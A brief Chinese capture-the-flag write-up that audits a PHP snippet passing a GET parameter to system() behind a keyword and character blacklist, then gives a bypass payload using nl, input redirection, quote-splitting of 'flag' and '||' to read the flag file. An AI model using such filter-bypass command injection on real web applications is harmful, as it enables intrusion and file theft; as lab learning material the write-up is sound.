代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))
//这里增加了过滤%09 &符号
{
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
因为过滤了
%09
,就不能绕过空格了,这里用nl
进行读取
```shell ?c=nl<fla’’g.php||
nl<flag?php||这样写不行,因为重定向不支持通配符,单引号分隔是Linux的一个特性,执行时会自动忽略单引号
```